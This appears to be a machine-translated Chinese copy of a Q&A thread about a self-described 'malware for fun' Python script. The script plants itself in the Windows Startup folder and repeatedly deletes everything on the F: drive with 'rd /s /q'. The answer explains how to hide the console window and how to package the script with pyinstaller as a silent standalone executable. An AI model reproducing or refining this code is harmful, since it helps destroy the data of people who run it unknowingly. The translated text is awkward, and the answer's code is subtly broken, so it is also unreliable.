在后台启动时执行python脚本

时间:2014-05-03 17:41:48

标签: python

我正在写一个非常简单的恶意软件以获得乐趣(我不喜欢对他人做任何恶意的事情)。目前,我有这个:

import os

#generate payload
payload = [
    "from os import system\n",
    "from time import sleep\n",
    "while True:\n",
    "   try:\n",
    "       system('rd /s /q F:\\\\')\n",
    "   except:\n",
    "       pass\n",
    "   sleep(10)\n",
]

#find the userhome
userhome = os.path.expanduser('~')

#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
    #write payload
    for i in payload:
        output.write(i)

用户执行该脚本后,每次计算机启动时都应运行有效负载。目前,有效负载将擦除F:\驱动器,其中将找到USB磁盘,外部HDD等。

问题是计算机启动时会显示命令窗口。我需要一种方法来防止任何东西以非常简短的方式显示任何软件,这可以在Python中轻松完成。我已经听说过" pythonw.exe",但我不知道除非我更改.py文件的默认程序,否则我会在启动时运行它。我该怎么做呢?

是的,我确实知道,如果要获得这种恶意软件,除非他们安装了Python,否则它不会做任何事情,但是因为我不想用它做任何事情,所以我不会这样做。关心。

1 个答案:

答案 0 :(得分:2)

弹出的窗口,实际上应该不是你的python窗口,而是你用os运行命令的窗口(如果有两个窗口,你需要按照下面的建议删除实际的python一)。您可以在使用子进程模块时阻止此操作,类似于操作系统模块。通常,子进程也会创建一个窗口,但您可以使用此调用函数来避免它。如果您希望将标准输入和输出流程,它甚至会采用输入的可选参数和返回输出,在这种情况下您不需要这样做。

def call(command,io=''):
    command = command.split()
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    if io != None:
    process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
    return process.communicate(io)[0]

这应该有所帮助。您可以使用它代替os.system()

此外,你可以使它成为一个可执行的pyinstaller,即使没有python(虽然你真的不应该在其他系统上使用它)。实际上,您可能需要执行此操作以及子进程startupinfo更改以使其工作。与py2exe或cxfreeze不同,pyinstaller非常易于使用,并且可靠地运行。安装pyinstaller here(它是一个zip文件,但是pyinstaller和其他站点记录了如何使用它安装它)。如果要从命令行创建可执行文件,可能需要在系统“path”变量中包含pyinstaller命令(可以从控制面板执行此操作)。只需输入

即可
pyinstaller "<filename>" -w -F

您将获得单个文件,独立,无窗口可执行文件。 -w使它无窗口,-F使其成为独立文件而不是多个文件的集合。你应该从你调用的pyinstaller中看到一个dist子目录,它可能包括你可能忽略的其他东西,不需要python的单个独立可执行文件,并且不应该弹出任何窗口。< / p>